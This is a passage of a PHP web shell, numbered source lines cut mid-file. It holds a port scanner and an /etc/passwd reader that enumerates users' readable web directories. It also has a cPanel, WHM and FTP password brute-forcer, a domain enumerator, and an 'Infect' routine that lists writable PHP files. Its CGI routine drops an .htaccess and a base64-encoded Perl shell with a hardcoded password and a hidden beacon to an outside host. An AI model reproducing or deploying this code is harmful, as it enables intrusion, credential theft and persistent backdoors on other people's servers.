1846 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1847 $start = strip_tags($_POST['start']);
1848 $end = strip_tags($_POST['end']);
1849 $host = strip_tags($_POST['host']);
1850 for($i = $start; $i<=$end; $i++){
1851 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1852 if($fp){
1853 echo 'Port '.$i.' is <font color=aqua>open</font><br>';
1854 }
1855 flush();
1856 }
1857 } else {
1858 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1859 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1860 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1861 Host: <input type="text" name="host" value="localhost"/><br /><br />
1862 Port start: <input type="text" name="start" value="0"/><br /><br />
1863 Port end:<input type="text" name="end" value="5000"/><br /><br />
1864 <input type="submit" value="Scan Ports" />
1865 </form></center><br /><br />';
1866 }
1867 echo '</div>';
1868 printFooter();
1869}
1870
1871function actionReadable(){
1872printHeader();
1873echo '<center>';
1874echo '<h1>Readable Dirs</h1><div class=content>';
1875($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
1876set_time_limit(0);
1877###################
1878@$passwd = fopen('/etc/passwd','r');
1879if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
1880$pub = array();
1881$users = array();
1882$conf = array();
1883$i = 0;
1884while(!feof($passwd))
1885{
1886$str = fgets($passwd);
1887if ($i > 35)
1888{
1889$pos = strpos($str,':');
1890$username = substr($str,0,$pos);
1891$dirz = '/home/'.$username.'/public_html/';
1892if (($username != ''))
1893{
1894if (is_readable($dirz))
1895{
1896array_push($users,$username);
1897array_push($pub,$dirz);
1898}
1899}
1900}
1901$i++;
1902}
1903###################
1904echo '<br><br><textarea rows="20%" cols="100%" class="output" >';
1905echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
1906echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
1907echo "[~] Searching for passwords in config files...\n\n";
1908foreach ($users as $user)
1909{
1910$path = "/home/$user/public_html/";
1911echo "$path \n";
1912}
1913echo "\n";
1914echo "[+] Done...\n";
1915echo '</textarea><br></body></html>';
1916
1917echo '</div>';
1918printFooter();
1919echo '</center>';
1920}
1921
1922function actionCpanel() {
1923 printHeader();
1924 echo '<h1>cPanel Cracker</h1>';
1925 echo '<div class="content">';
1926 echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
1927 echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
1928 echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
1929 echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
1930 echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
1931 echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
1932 echo '</tr>';
1933 echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
1934 echo '<td colspan="2"><span>Crack options: </span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b> <input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b> <input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
1935 <div style="margin-top:5px;"><span>Timeout delay: </span><input type="text" name="connect_timeout" size="4" value=""/>
1936 <input type="checkbox" name="bruteforce" value="true"/> <span>Bruteforce</span>
1937 <select name="charset">
1938 <option value="all">All Letters + Numbers</option>
1939 <option value="numeric">Numbers</option>
1940 <option value="letters">Letters</option>
1941 <option value="symbols">Symbols</option>
1942 <option value="lowercase">Lower Letters</option>
1943 <option value="uppercase">Higher Letters</option>
1944 <option value="lowernumeric">Lower Letters + Numbers</option>
1945 <option value="uppernumeric">Upper Letters + Numbers</option>
1946 <option value="lowersymbols">Lower Letters + Symbols</option>
1947 <option value="uppersymbols">Upper Letters + Symbols</option>
1948 <option value="letterssymbols">All Letters + Symbols</option>
1949 <option value="numberssymbols">Numbers + Symbols</option>
1950 <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
1951 <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
1952 <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
1953 </select></div>
1954 <div style="margin-top:5px;"><span>Min Bruteforce Length: </span><input type="text" name="min_length" size="5" value=""/> <span>Max Bruteforce Length: </span><input type="text" name="max_length" size="5" value=""/></div>
1955 <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
1956 </td></tr>';
1957 echo '</table>';
1958 echo '</div>';
1959 printFooter();
1960 }
1961 function actionDomain() {
1962 printHeader();
1963 echo '<h1>Local Domain Viewer</h1><div class=content>';
1964 $file = @implode(@file("/etc/named.conf"));
1965 if (!$file) {
1966 die("# Can't Read -> [ /etc/named.conf ]");
1967 }
1968 preg_match_all("#named/(.*?).db#", $file, $r);
1969 $domains = array_unique($r[1]);
1970 //check();
1971 //if(isset($_GET['ShowAll']))
1972 {
1973 echo "<table align=center border=1 width=59% cellpadding=5>
1974<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
1975<tr><td>Domain</td><td>User</td></tr>";
1976 foreach ($domains as $domain) {
1977 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1978 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
1979 }
1980 echo "</table>";
1981 }
1982 echo '</div>';
1983 printFooter();
1984 }
1985function actionInfect() {
1986 printHeader();
1987 echo '<h1>Infect</h1><div class=content>';
1988 if ($_POST['p1'] == 'infect') {
1989 $target = $_SERVER['DOCUMENT_ROOT'];
1990 function ListFiles($dir) {
1991 if ($dh = opendir($dir)) {
1992 $files = Array();
1993 $inner_files = Array();
1994 while ($file = readdir($dh)) {
1995 if ($file != "." && $file != "..") {
1996 if (is_dir($dir . "/" . $file)) {
1997 $inner_files = ListFiles($dir . "/" . $file);
1998 if (is_array($inner_files)) $files = array_merge($files, $inner_files);
1999 } else {
2000 array_push($files, $dir . "/" . $file);
2001 }
2002 }
2003 }
2004 closedir($dh);
2005 return $files;
2006 }
2007 }
2008 foreach (ListFiles($target) as $key => $file) {
2009 $nFile = substr($file, -4, 4);
2010 if ($nFile == ".php") {
2011 if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
2012 echo "$file<br>";
2013 $i++;
2014 }
2015 }
2016 }
2017 echo "<font color=red size=14>$i</font>";
2018 } else {
2019 echo "<form method=post><input type=submit value=Infect name=infet></form>";
2020 echo 'Really Want To Infect The Server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
2021 }
2022 printFooter();
2023 }
2024function actionCgiShell(){
2025printHeader();
2026echo '<h1>Cgitelnet</h1><div class=content>';
2027
2028mkdir('cgitelnet1', 0755);
2029 chdir('cgitelnet1');
2030 $kokdosya = ".htaccess";
2031 $dosya_adi = "$kokdosya";
2032 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
2033 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
2034
2035AddType application/x-httpd-cgi .cin
2036
2037AddHandler cgi-script .cin
2038AddHandler cgi-script .cin";
2039 fwrite ( $dosya , $metin ) ;
2040 fclose ($dosya);
2041$cgishellizocin = '
2042IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojLS0tLS0tLS0tLS0tLS0tLS0t
2043LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2044LS0tCiMgPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJp
2045djggY2dpIHNoZWxsIFYxLjA8L2I+ICMgc2VydmVyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2046LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMt
2047LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2048LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ug
2049b25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3Jr
2050IGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2051LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQg
2052PSAiRXJyT3IyIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJ
2053CQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZh
2054bHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBh
2055IFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwg
2056eW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7
2057CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBp
2058biBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRo
2059aXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNv
2060bW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1l
2061IGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0
2062IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29t
2063bWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1
2064dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZl
2065cnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1
2066dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJy
2067b3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZm
2068ZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1
2069c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0
2070aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdF
2071IEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9J
2072TkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21k
2073UHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIg
2074OiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4m
2075MSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2076LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRo
2077ZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VU
2078LCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5n
2079IGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRh
2080IGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBh
2081Y2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUg
2082dmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtl
2083biBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2084LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJl
2085YWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtl
2086eSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+
2087IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVF
2088U1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9
2089CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNU
2090RElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAk
2091RU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglp
2092ZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5
2093PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMx
2094ODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0g
2095JGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAk
2096YDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3
2097YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRl
2098ciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9
2099fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZv
2100cigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0k
2101Ly87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0g
2102JCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2
2103YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7
2104IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVs
2105dGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQj
2106aW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgv
2107PS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dl
2108OwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0g
2109Lj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJ
2110fQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2111LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVh
2112ZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJl
2113IHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2114LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29k
2115ZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15h
2116LXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
2117dGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+RXJyT3Ig
2118U3F1YUQgcHJpdjggY2dpIHNoZWxsIFYxLjA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKCjxtZXRh
2119IG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAgIGk1X0Bob3Rt
2120YWlsLmNvbSI+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hl
2121bGwgIF8gICAgaTVfQGhvdG1haWwuY29tIj4KPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50
2122LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2lu
2123PSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiB0ZXh0PSIjRkYwMDAwIj4KPHRh
2124YmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0i
2125MiI+Cjx0cj4KPHRkIGJnY29sb3I9IiNGRkZGRkYiIGJvcmRlcmNvbG9yPSIjRkZGRkZGIiBhbGln
2126bj0iY2VudGVyIiB3aWR0aD0iMSUiPgo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3Rk
2127Pgo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIg
2128c2l6ZT0iMiI+PGI+IAo8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZm
2129ZjY2Ij5wcml2OCBjZ2kgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2Zv
2130bnQ+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZv
2131bnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+Cgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11
2132cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5VcGxvYWQg
2133RmlsZTwvZm9udD48L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9
2134JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwv
2135Zm9udD48L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9udCBjb2xv
2136cj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwKPC9mb250PjwvdGQ+CjwvdHI+Cjwv
2137dGFibGU+Cjxmb250IHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2138LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFBy
2139aW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2140LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9n
2141aW5TY3JlZW4KewoJJE1lc3NhZ2UgPSBxJDwvZm9udD48aDE+cGFzcz1JbnB1dCBTaGVsbCBQYXNz
2142PC9oMT48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PHByZT48aW1nIGJvcmRlcj0iMCIg
2143c3JjPSJodHRwOi8vd3d3LnByaXY4LmlibG9nZ2VyLm9yZy9zLnBocD8rY2dpdGVsbmV0IHNoZWxs
2144IiB3aWR0aD0iMCIgaGVpZ2h0PSIwIj48L3ByZT4KJDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4K
2145ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpF
2146c2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0t
2147LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2148LS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBh
2149IGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2150LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVk
2151TWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3
2152b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0t
2153LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2154LS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0t
2155LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2156LS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29k
2157ZT4KCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24i
2158Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgo8L2ZvbnQ+Cjxm
2159b250IHNpemU9IjMiPgpsb2dpbjogPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29s
2160b3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPjxicj4KcGFzc3dvcmQ6PC9mb250Pjxmb250
2161IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAi
2162Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5E
2163Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2164LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhU
2165TUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2166LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJp
2167bnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2168LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBS
2169ZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFj
2170Y2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0t
2171LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2172LS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsn
2173SFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQs
2174ICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0K
2175fQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2176LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVz
2177ZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2178LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4K
2179ewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJy
2180PjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2181LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIg
2182YW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2183LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2184CnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAj
